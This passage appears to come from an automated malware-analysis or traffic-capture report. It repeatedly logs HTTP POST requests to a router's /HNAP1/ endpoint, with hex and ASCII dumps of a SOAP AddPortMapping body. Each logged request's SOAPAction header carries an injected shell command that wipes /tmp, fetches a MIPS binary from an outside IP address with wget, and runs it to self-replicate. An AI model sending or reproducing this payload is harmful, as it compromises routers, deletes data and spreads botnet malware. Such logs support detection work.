3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
